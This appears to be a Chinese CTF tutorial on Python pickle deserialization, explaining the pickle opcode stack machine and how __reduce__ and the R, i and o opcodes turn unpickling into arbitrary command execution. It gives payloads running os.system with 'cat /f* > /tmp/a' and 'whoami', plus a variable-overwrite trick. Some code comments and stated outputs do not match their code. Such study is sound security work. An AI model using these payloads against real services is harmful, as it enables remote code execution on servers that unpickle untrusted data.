Pickle反序列化

上接ISCC2025校赛的有一道疑似SQL的题目被骗说是Pickle反序列化,但刚好也来补习一下

pickle反序列化漏洞基础知识与绕过简析-先知社区

CTF题型 Python中pickle反序列化进阶利用&例题&opache绕过_python pickle ctf-CSDN博客

pickle反序列化初探-先知社区

CTF-python pickle反序列化 - sijidou - 博客园

简介

pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell.

前置知识

python对象

在python中,对象的概念十分广泛.

对象是数据和功能的结合体。Python是一种面向对象编程语言,它使用对象来组织代码和数据。在Python中,几乎所有的东西都是对象,包括整数、浮点数、列表、元组、字典、函数、类等。

一个Python对象通常包含以下部分:

  1. 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份
  2. 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型
  3. 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列
  4. 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息
  5. 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作

Python面向对象

python是一门面向对象的语言.也正因为python面向对象的特性,使得我们有更加丰富的选择进行绕过

在Python中,面向对象的思想和php是一致的,只是定义类的代码,调用类函数和类属性的方式和php不同

python中用.调用实例的属性和方法

python中存在类属性和实例属性,实例属性只对一个实例生效,类属性对一个类生效.定义实例属性的方法是用__init__魔术方法.调用类属性的方法是类名.变量名或者self.__class__.变量名

同样地,python的面向对象也有私有属性,私有方法,类的继承等

序列化和反序列化

序列化就是将一个对象转换为以字符串方式存储的过程,反序列化就是将字符串重新变为一个对象的实例

注意,在linux下和windows下进行序列化的操作的结果可能会有所不同,在做题时需要根据靶机的系统选择用windows还是linux进行序列化操作.

关于序列化和反序列化的函数

  1. pickle.dump()
  2. pickle.load()
  3. pickle.dumps()
  4. pickle.loads()

其中两个dump函数是把python对象转换为二进制对象的,两个load函数是把二进制对象转换为python对象的

而s函数是指对字符串进行反序列化和序列化操作,另外两个函数是对文件进行操作

python魔术方法

和php类似,python魔术方法也会在一些特定情况下被自动调用.我们尤其要注意的是__reduce__魔术方法,这会在反序列化过程开始时被调用,所以我们可以序列化一个__reduce__魔术方法中有系统命令的实例并且让服务器将它反序列化,从而达到任意命令执行的效果

除此之外还有很多魔术方法.例如初始化函数__init__和构造函数__new__.和php类似,python中也有魔法属性.例如__doc__,__name__,__class__,__base__

pickle.loads()会在反序列化一个实例时自动引入没有引入的库

构造方法__new__

  • 在实例化一个类时自动被调用,是类的构造方法
  • 可以通过重写__new__自定义类的实例化过程

初始化方法__init__

  • __new__方法之后被调用,主要负责定义类的属性,以初始化实例

析构方法__del__

  • 在实例将被销毁时调用
  • 只在实例的所有调用结束后才会被调用
1
__getattr__
  • 获取不存在的对象属性时被触发
  • 存在返回值
1
__setattr__
  • 设置对象成员值的时候触发
  • 传入一个self,一个要设置的属性名称,一个属性的值
1
__repr__
  • 在实例被传入repr()时被调用
  • 必须返回字符串
1
__call__
  • 把对象当作函数调用时触发
1
__len__
  • 被传入len()时调用
  • 返回一个整型
1
__str__
  • str(),format(),print()调用时调用,返回一个字符串

栈是一种存储数据的结构.栈有压栈和弹栈两种操作

可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹

什么是PVM

pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的

为什么要学习pickle?

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

语法

操作码 描述 具体写法 栈上的变化 memo 上的变化
c 获取一个全局对象或导入一个模块 c[module]n[instance]n 获得的对象入栈
o 寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于 co 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]n[callable]n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个 None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'n(也可以使用双引号、 等 Python 字符串形式) 获得的对象入栈
V 实例化一个 UNICODE 字符串对象 Vxxxn 获得的对象入栈
I 实例化一个 int 对象 Ixxxn 获得的对象入栈
F 实例化一个 float 对象 Fx.xn 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值 .
( 向栈中压入一个 MARK 标记 ( MARK 标记入栈
t 寻找栈中的上一个 MARK,并组合之间的数据为元组 t MARK 标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个 MARK,并组合之间的数据为列表 l MARK 标记以及被组合的数据出栈,获得的对象入栈
\] 向栈中直接压入一个空列表 \] 空列表入栈
d 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对) d MARK 标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至 memo_n pnn 对象被储存
g 将 memo_n 的对象压栈 gnn 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名:属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈

还有h0ckser师傅的指令集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
# 说明:
# 1.如果对栈顶元素只说了取出,而没有说弹出的话那就说明只是将栈顶元素复制一份放到一个变量或者就是后面的操作对栈顶元素进行更新修改,但是这个栈顶元素是不会弹出的
# 2.部分说明中对数据进行操作先弹出然后进行操作再进行压栈,但是对照源码可能是对栈数组直接进行直接截取而并没有pop弹出或者append的压栈操作,我这里描述为弹出和压栈的过程是为了便于理解
# 3.用于指定后面需要读取的数据大小的字节读出来之后,有可能是按照字符字面大小读取,也可能是按照其16进制大小进行数据读取,例如字符'1'='\x31',0x31=49可能是读取1字节大小也肯能是读取49字节大小,注意我的注释描述
# 4._struct.unpack解压<i格式数据的时候需要传入4字节大小的数据,然后会把4个字节左右顺序调换,得到一个8位的16进制数,最后将其转为一个10进制整数,例如_struct.unpack('<i', b'\x00\x01\x00\x00')[0]=>0x00001000=>256
# 5.struct.unpack解压<Q格式数据则是需要传入8字节大小数据,转换操作同上,例如unpack('<Q', b'\x00\x01\x00\x00\x00\x00\x00\x00')[0] => 0x0000000000000100 => 256
MARK = b'(' #向栈中压入一个Mark标记
STOP = b'.' #相当于停止当前的反序列化过程
POP = b'0' #从栈中pop出一个元素,就是删除栈顶元素
POP_MARK = b'1' #从栈中不断pop元素直到遇到Mark标记
DUP = b'2' #向栈中再压入一个当前的栈顶元素,就是复制一份当前栈顶元素然后进行压栈
FLOAT = b'F' #读取当前行到行末尾,然后转为float类型,向栈中压入一个float浮点数
INT = b'I' #向栈中压入一个int整数,整数就是当前行的最后一个字节,不过如果整数为01的时候压入的是True,为00的时候压入的是False
BININT = b'J' #从后面的输入中读取4个字节并且使用unpack通过'<i'的格式将4字节的buffer数据解包转为int类型,后面不能换行,直接家下一步的操作b"(S'a'\nK\x01\x01\x01\x01."
BININT1 = b'K' #和上面BININT一样,不过K操作只读取一个字节的数据b"(S'a'\nK\x01."
LONG = b'L' #读取当前行到行末尾,然后转为int类型,但如果后面是字符L的话会先去掉最后一个字符L再转int
BININT2 = b'M' #从后面的输入中读取2个字节并且使用unpack通过'<H'的格式将2字节的buffer作为一个2进制数解包为int,后面不能换行,直接加下一步的操作b"(S'a'\nM\x01\x01."
NONE = b'N' #向栈中压入一个None元素,后面不能换行,直接加下一步的操作b"(S'a'\nN."
PERSID = b'P' #读取当前行到行末尾,将读取到的数据作为id,通过persistent_load函数获得obj对象返回后将obj对象压栈,默认情况没用,要重写persistent_load函数才能生效
BINPERSID = b'Q' #和上面作用一样,从当前栈中弹出一个元素作为id,通过persistent_load...
REDUCE = b'R' #从当前栈中弹出两次元素,第一次是函数参数args,第二次是函数func,执行func(args)
STRING = b'S' #向栈中压入一个string字符串,内容就是后面的数据,后面的字符串第一个和最后一个必须是单引号b"(S'a'\nS''a''\n."
BINSTRING = b'T' #从后面数据读取4字节数据,通过unpack使用<i格式将数据解压后变为int类型, 然后将其作为一个长度, 后面读取这个指定长度的数据作为字符串进行压栈b"(S'a'\nT\x10\x00\x00\x000123456789abcdef."
# _struct.unpack('<i', b"\x10\x00\x00\x00") => (16,)
SHORT_BINSTRING= b'U' #先读取一个字节数据作为长度,然后按照这个长度读取字符串,读出的字符串压栈
UNICODE = b'V' #读出当前行后面的全部数据,然后进行Unicode解码,将解码内容压栈b'V\\u0061\n.'
BINUNICODE = b'X' #读出4字节数据通过unpack使用<I格式解压,将解压得到的数据作为长度,然后进行数据读取b'X\x10\x00\x00\x00abcdef0123456789.'
APPEND = b'a' #先pop出栈一个变量var1,然后获取当前栈顶元素var2,执行栈顶元素的append函数,就是将一开始的栈顶元素弹出,然后又加到下一个栈顶数组中b"]S'S1nKk'\na." => 得到['S1nKk']
BUILD = b'b' #这个操作就是设置元素属性的操作
# 先pop出栈一个变量var1,然后获取当前栈顶元素var2,获取var2的__setstate__子成员作为var3,如果var3非空,那就执行var3(var1),这个操作正常就是通过__setstate__设置变量的属性
# 但是上面的var3为空也有别的处理:
# 1.检查var1是否为tuple类型且长度为2,如果是的话那就将其分别赋值为state,slotstate
# 2.检查state是否为空,如果不为空尝试取出state.items()然后使用k,v键值对的方式便利,最后通过修改var2.__dict__的方式修改var2的属性,也就是使得var2[k]=v,var2.k=v
# 3.检查slotstate是否为空,如果不为空和第2步一样,取出slotstate.items()通过k,v键值对方式遍历,然后使用setattr方法设置var2属性,最后效果也是var2[k]=v,var2.k=v
GLOBAL = b'c' #导入一个模块,首先读取当前行后面的全部内容适应utf-8解码得到的字符串作为module,然后再读出下一行的内容同样解析出字符串作为那么,最后导入module.name这个包
DICT = b'd' #将栈中的数据弹出到上一个Mark为止,然后按照key:value的方式逐个解析然后放入到一个字典中,将最后得到的字典压栈b"(S'key1'\nS'val1'\nS'key2'\nS'val2'\nd." => {'key1': 'val1', 'key2': 'val2'}
EMPTY_DICT = b'}' #没什么好说的,就是往栈中压入一个空字典
APPENDS = b'e' #先将栈中元素不断弹出知道Mark标记,然后将弹出的全部元素放入items中,再取出栈顶作为list_obj,之后执行下面两步操作:
# 1.先取出extend=list_obj.extend,然后执行extend(items)
# 2.取出append = list_obj.append,然后使用for循环遍历items得到item,然后每次循环都执行一次append(item)
# 看到这里应该想到函数触发的方法,我们只需要使用b操作将list_obj的extend改为一个危险的函数方法,然后再让参数进入items,就可以通过extend(items)的方式调用任意构造的危险函数了
GET = b'g' #读取后面的全部本行数据,然后转为int类型放入变量i中,使用i作为索引,从缓存区取出数据mem[i],然后将这个从缓存中取出的变量压栈
BINGET = b'h' #后面读取一个字节的数据,然后使用字符16进制大小作为下标索引,从缓存mem中读数据,将读出的内容压栈,下面就是一个获取缓存中下标为1的数据的实例b"S'h0cksr'\np1\nS't'\n0h\x01."
INST = b'i' #两次pop出栈读出数据并且均进行解码操作使其变为字符串格式,
# 1. 第一第二次弹出的数据分别放入module和name中,先导入moudle模块,然后name通过.逐个获取出里面的子成员,最后返回目标子成员(可能是函数也可能是类或变量)var1
# 2. 继续进行出栈,直到遇到Mark标志,将出栈的数据作为参数,var1位方法,执行var1(Mark弹出数据)
# 3. 将生成的实例化对象压栈
LONG_BINGET = b'j' #先读出4字节大小数据流,然后通过unpack使用<I格式解压得到int类型数据i,将i作为下标,从缓存中获取变量mem[i],将获取到的数据压栈
LIST = b'l' #将上一次Mark之后的数据全部弹出,并且将其存放到一个数组中,然后在将这个数组压栈b"(S'S1nKk'\np1\nS't'\nl."
EMPTY_LIST = b']' #没什么好说,往栈中压入一个空数组
OBJ = b'o' #先是将上一次Mark之后的数据全部弹出,得到一个数组var1,然后又在var1中pop取出最后一个数据作为var2,之后执行以下过程:
# 1.检查弹出数据后的var1数组是否为空,如果var1非空,或者弹出的var2属于type类型,或者弹出的var2有__getinitargs__属性成员,那么就会执行var2(var1)
# 2.如果以上条件均不满足,那就执行var2.__new__(var2)
# 3.将执行结果压入栈中
PUT = b'p' #读取后面全部当前行的数据,然后转为int类型的变量i,然后赋值当前栈顶元素存到memo[i]中
BINPUT = b'q' #和上一个一样,不同的是下标i是通过读取1个字节的数据,然后直接当做下标
LONG_BINPUT = b'r' #和上一个一样,不同的是下标i是通过读取4个字节的数据,然后通过unpack使用<I模式解压得到的整数当做下标
SETITEM = b's' #先在栈中pop弹出第一个数据作为value,然后在pop弹出第二个元素作为key,再获取当前栈顶元素记为dict,给栈顶元素赋值dict[key]=value
TUPLE = b't' #弹出上一次Mark之后的全部数据大农一个list数组中,然后使用tuple函数将其转为元组格式再把这个元组压入栈中
EMPTY_TUPLE = b')' #没什么好说,往栈中压入一个空元组
SETITEMS = b'u' #先弹出上一次Mark之后的全部元素放入一个数组items中,然后获取栈顶元素记为dict,通过i=0,2,3...获取items中的数据,执行dict[items[i]] = items[i + 1]给栈顶的字典元素添加键值对
BINFLOAT = b'G' #先读取8字节数据,然后使用unpack通过<d格式的解压,将得到的float数据压栈

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' #用于声明pickle协议版本
NEWOBJ = b'\x81'#(这个很有用) #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈
EXT1 = b'\x82' #'''\x82,\x83,\x84这三个操作都是和extension registry扩展注册表有关的,但是拓展注册表主要维护4个从copyreg导入的映射字典
EXT2 = b'\x83' # dispatch_tablecopyreg, _extension_registry, _inverted_registry, _extension_cache
EXT4 = b'\x84' # 但是从头到尾貌似这几个核心表单都没有发生过变化(也可能是我没注意到而已)'''
TUPLE1 = b'\x85' #将栈顶元素弹出放到一个元组中再将这个元组压栈,就是将栈顶放到一个元组里面的作用b"S'S1nk'\n\x85." => ('S1nk',)
TUPLE2 = b'\x86' #将栈顶的两个元素弹出,栈顶弹出为var1,继续弹出一个为var2,然后组成一个元组然后将这个元组压栈,得到(var2,var1),b"S'S1nk'\nS'S1nKk'\n\x86." => ('S1nk', 'S1nKk')
TUPLE3 = b'\x87' #和上面一样,不够该操作是弹出三个元素形成元组b"S'S1nK'\nS'S11nK'\nS'S111nK'\n\x87." => ('S1nK', 'S11nK', 'S111nk')
NEWTRUE = b'\x88' #向栈中压入一个True
NEWFALSE = b'\x89' #向栈中压入一个False
LONG1 = b'\x8a' #先读取一个字节,以该字节16进制数为大小size,从后面的数据读取size个字节,然后将读取到的数据转为long类型
LONG4 = b'\x8b' #读取4字节数据,通过unpack的<i格式将数据解压得到一个整数,以这个整数为字节大小读取后面的数据

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]#就是元组操作合集,分别是向栈中压入空数组,将最后1个元素放入元组后将元组压栈,将最后2个元素放入元组后将元组压栈,将最后3个元素放入元组后将元组压栈

# Protocol 3 (Python 3.x)#这里要注意一下,后面的操作是有python3方才支持

BINBYTES = b'B' #先读取4字节数据通过unpack使用<i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈,注意一下,压栈的是原始的比特流数据b'B\x06\x00\x00\x00h0cksr.' => b'S1nKk'
SHORT_BINBYTES = b'C' #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据b'C\x06h0cksr.' => b'S1nKk'

# Protocol 4
SHORT_BINUNICODE = b'\x8c' #先读取一个字节,以这个字节的16进制为大小向后读取对应字节的数据,然后使用utf-8的格式解码数据为字符串格式,然后将这个字符串压栈b'\x8c\x06S1nKk.' => S1nKk
BINUNICODE8 = b'\x8d' #先读取8字节数据然后通过unpack使用<Q格式解压数据,将得到的结果作为大小向后读取相应字节数,然后将读取到的数据使用utf-8格式解压为字符串,将字符串压栈b'\x8d\x06\x00\x00\x00\x00\x00\x00\x00h0cksr.' => h0cksr
BINBYTES8 = b'\x8e' #同上读取8字节数据<Q格式解压,然后读取数据,但是直接将比特流数据压栈而不会解码b'\x8e\x06\x00\x00\x00\x00\x00\x00\x00S1nKk.' => b'S1nKk'
EMPTY_SET = b'\x8f' #向栈中压入一个set类型的空集合(set()没有指定iterable的时候返回的是一个空集合)
ADDITEMS = b'\x90' #先pop弹出一个元素作为items,记栈顶元素为top,然后检查top是否为set类型,如果是的话就执行top.update(items),如果top不是set类型那就使用for遍历items,逐个执行top.add(item)
FROZENSET = b'\x91' #弹出栈顶元素作为items,然后执行frozenset(items)生成一个frozenset类型的变量,并将这个变量压栈
NEWOBJ_EX = b'\x92'#(这个很有用) #和NEWOBJ差不多,先从栈中弹出三个元素,第一个,第二个,第三个弹出的元素分别记为var1,var2,var3,然后执行cls.__new__(var3, *var2, **var1)之后将执行生成的对象压栈
STACK_GLOBAL = b'\x93'#(这个很有用) #和GLOBAL操作一样但是导入的模块从栈上获取,先弹出一个元素为name,然后再弹出一个元素moudle,要求两个元素都必须是字符串类型,然后到处moudle.name,在将导出的内容压栈b"S'os'\nS'system'\n\x93." => os.system
MEMOIZE = b'\x94' #将当前栈顶元素添加到缓存列表的末尾(注意栈顶不会弹出)
FRAME = b'\x95' #后面先是读取8字节数据通过unpack使用<Q格式将数据解压得到的结果作为大小,向后读取对应字节的数据,然后将读取到的数据进行正常pickle反序列化(感觉用不用这个操作没啥差别,但是细节差别的话看源码)

例如:

1
2
3
4
payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''

解释:

  1. ( :向栈中压入一个 MARK 标记
  2. cos:导入 os 模块
  3. system:获取 os.system 函数并压栈
  4. S'cat /f* > /tmp/a':将字符串 'cat /f* > /tmp/a' 压栈
  5. o.:寻找栈中的上一个 MARK,以之间的第一个数据(os.system 函数)为 callable,第二个数据(字符串)为参数,执行该函数。. 表示程序结束,栈顶的一个元素作为 pickle.loads() 的返回值

1:栈的初始状态

1
2
栈底
└── MARK (由 '(' 操作码压入)

2:导入 os 模块

1
2
3
栈底
└── MARK
└── os模块 (由 'cos' 操作码压入)

3:获取 os.system 函数

1
2
3
4
栈底
└── MARK
└── os模块
└── os.system函数 (由 'system' 操作码压入)

4:压入命令字符串

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串 (由 'S' 操作码压入)

5:调用 os.system 函数

1
2
3
4
5
栈底
└── MARK
└── os模块
└── os.system函数
└── 'cat /f* > /tmp/a'字符串

执行 o 操作码后,os.system 函数被调用,参数为 'cat /f* > /tmp/a'。栈中的 MARKos模块os.system函数 和命令字符串都被弹出,函数的返回值(如果有的话)会被压入栈

6:结束序列化

1
2
栈底
└── 函数返回值 (假设为 None)

执行 . 操作码后,序列化过程结束,栈顶的值(None)作为 pickle.loads() 的返回值

也可以使用以下代码片段来生成Pickle序列化:

1
2
3
4
5
6
7
8
9
10
import pickle

class Payload:
def __reduce__(self):
import os
return (os.system, ('cat /f* > /tmp/a',))

payload = Payload()
serialized_payload = pickle.dumps(payload)
print(serialized_payload)

也可以将Pickle的代码变得可读起来(并非好读):

1
2
3
4
5
6
7
8
9
import pickletools

opcode = b'''c__main__
miHoYo
(S'miHoYo'
S'Honkai StarRail'
db.'''

pickletools.dis(opcode)

db.:

  • d 操作码:从栈中弹出键值对('secret''Hack!!!'),构建一个字典 {'secret': 'Hack!!!'},并将其压入栈
  • b 操作码:弹出栈顶的字典和前面的对象(假设是通过 c__main__ 导入的 secret 对象),将字典中的属性绑定到对象上。即为 secret 对象添加一个属性 'secret',其值为 'Hack!!!'
  • . 操作码:结束反序列化过程

pker的使用

1

利用

覆盖变量

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickletools
import pickle

class miHoYo:
def __init__(self,name):
self.name = name

m = miHoYo("Genshin Impact")

print(m.name)

opcode = b'''c__main__
m
(S'name'
S'Honkai StarRail'
db.'''

pickle.loads(opcode)
print(m.name)

#pickletools.dis(opcode)

输出星穹铁道即代表成功覆盖了变量

1
2
3
4
5
6
7
opcode=b"""c__main__
m#向栈中压入被实例化的m
(S'name'#压入一个MARK,再压入一个'name'字符串
S'Honkai StarRail'#压入一个ghd
db."""
#d操作符弹出'name'和ghd,压入一个字典{name:Honkai StarRail}
#b操作符弹出字典,并用字典中的键值对{name:Honkai StarRail}给s赋值(相当于执行了s的__init__),完成了篡改

RCE

相关的就是 c,R,o,i,b这几个操作符

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

R :(R 操作符用于构建对象)

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

tR:其中 t 表示元组(tuple),R 表示调用 os.system 函数,并将字符串 'whoami' 作为参数传递给它

1
2
3
4
5
6
cos
system #用c操作符引入os.system,也就是把os.system压入栈
(S'ls' #先把MARK压入栈,再把ls压入栈
tR. #t操作符把ls出栈,元组(ls)入栈
#R操作符把元组作为os.system的参数传入并执行
<=> __import__('os').system(*('ls',))

i

1
2
3
4
b'''(S'whoami'
ios
system
.'''

i像是oc的结合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

o

1
2
3
4
b'''(cos
system
S'whoami'
o.'''

实例化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

#miHoYo 114514

例题